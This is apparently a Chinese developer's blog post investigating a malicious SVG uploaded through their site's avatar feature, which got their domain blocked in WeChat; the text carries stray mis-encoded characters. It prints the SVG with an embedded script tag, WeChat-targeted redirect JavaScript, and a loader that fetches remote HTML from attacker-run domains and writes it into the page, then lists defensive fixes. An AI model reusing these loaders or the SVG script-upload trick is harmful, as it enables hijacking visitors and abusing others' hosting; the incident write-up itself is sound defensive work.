先看個(gè)熱鬧
突然一天在微信上打不開我的域名了,被封了
然后我要瘋,我沒有這個(gè)svg啊挺尾,雖然系統(tǒng)中有圖片上傳的地方返顺,但是也不會(huì)用到這個(gè)svg啊
想想禀苦,可能有人通過我的系統(tǒng)免費(fèi)上傳了這個(gè)svg然后在其他地方用了這個(gè)免費(fèi)的資源流量。
下載這個(gè)svg遂鹊,文本編輯器打開源碼
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="3.5in" height="1in">
<script type="text/javascript" xlink:></script>
</svg>
打開https://ookwqc.com/t域名
(function() {
var ua = navigator.userAgent.toLowerCase();
try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {};
if (/micromessenger/.test(ua)) {
if (top != window || !document.body) {
top.location.;
} else {
var a = document.createElement('a');
a.;
a.rel = 'noreferrer';
a.click();
}
}
})()
上面一段代碼寫的很有意思振乏,如果是微信瀏覽器打開是一張圖片,否則是另外一張圖片秉扑。
但是————不要被后綴偽裝給迷惑了慧邮。
查詢域名備案信息,哇塞備案了差不多500個(gè)域名舟陆,真流弊
打開微信那張照片
頁面空白赋咽,但是作為開發(fā)人員,打開F12吨娜,哇塞
這個(gè)地址只是一個(gè)以jpg結(jié)尾的svg文件請(qǐng)求地址脓匿。
其中https://05ez.com/t又去獲取下一個(gè)地址
不死不休,繼續(xù)追蹤<u>http://rf9maug.5ltj6b9d.tw/05d.html?now=1554192363</u>
F12照看一下
<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8"><title></title></head><body>
<script src="https://05ez.com/d"></script>
</body></html>
繼續(xù)找<u>https://05ez.com/d</u>
var _shareUrl = 'https://05ez.com';
var hm_c = 'a71a8a3c027d8f8703df08f83e95ef39';
function _getParam(name) {
return location.href.match(new RegExp('[?&]' + name + '=([^?&#]+)', 'i')) ? decodeURIComponent(RegExp.$1) : '';
}
var ua = navigator.userAgent.toLowerCase();
if (/micromessenger/.test(ua)) {
var _lay = document.createElement('div');
_lay.setAttribute('style', 'width:100%;height:2048px;font-size:1.4em;position:absolute;' +
'background-color:white;z-index:99999999;left:0;top:0;');
_lay.innerHTML = '<div style="color:black;text-align:center;font-size:1.3em">loading...</div>';
if (document.body) document.body.appendChild(_lay);
document.title = "正在打開...";
var xhr = new XMLHttpRequest;
var html = null;
function getParam(name, url) {
var r = new RegExp('(?|#|&)' + name + '=(.*?)(#|&|$)');
var m = (url || location.href).match(r);
return (m ? m[2] : '')
}
function render() {
var a = document.open("text/html", "replace");
a.write(html);
a.close()
}
xhr.onload = function () {
html = xhr.responseText;
var delay = 0;
if (delay > 0) setTimeout("render()", delay * 1000); else render()
};
xhr.open("GET", "https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/index.html?t=" + Date.now(), !0);
xhr.send();
}
打開上面的頁面
<u>https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/index.html</u>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>...</title>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover" />
<meta name="format-detection" content="telephone=no">
<meta name="applicable-device" content="mobile">
<link rel="stylesheet" >
<script>
window.focusLocation = {};
</script>
</head>
<body>
<script src="http://res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
<script src="http://lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/jquery.min.js"></script>
<script src="http://lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/core.js"></script>
<script src="https://05ez.com/case/info?var=window.data"></script>
<script>
// M.loadJS('/js/i_d.js?v=' + (+new Date()));
M.loadJS('https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/js/i_d.js?v=' + (+new Date()));
</script>
</body>
</html>
瞅一眼那個(gè)JS
<u>https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/js/i_d.js</u>
好了找到地方了宦赠,多么喜慶陪毡。
找到問題就解決吧
再來找找這個(gè)svg文件上傳的日志
2019-03-10T13:08:35.866304Z {"Accept-Encoding":"gzip","Content-Length":"992","Content-Type":"multipart/form-data; boundary=------------------------78ff25155c5e6156","IP":"127.0.0.1","User-Agent":"Go-http-client/1.1","X-Forwarded-For":"112.96.135.XXX157.255.155.XXX"X-Real-Ip":"157.255.155.XXX"X-Reqid":"DQYAAMIr4LjhmooV","X-Scheme":"http"} {"key":"XXX.svg","hash":"e5gx5xekD","bucket":"","fsize":252}
解決方案
1)限制系統(tǒng)中頭像上傳的文件類型為jpg/png (app端會(huì)裁剪照片,這2個(gè)類型夠用)
2)如果使用第三方對(duì)象存儲(chǔ)勾扭,建議修改秘鑰
3)在nginx或者slb上限制該惡意ip毡琉,并設(shè)置SLB黑名單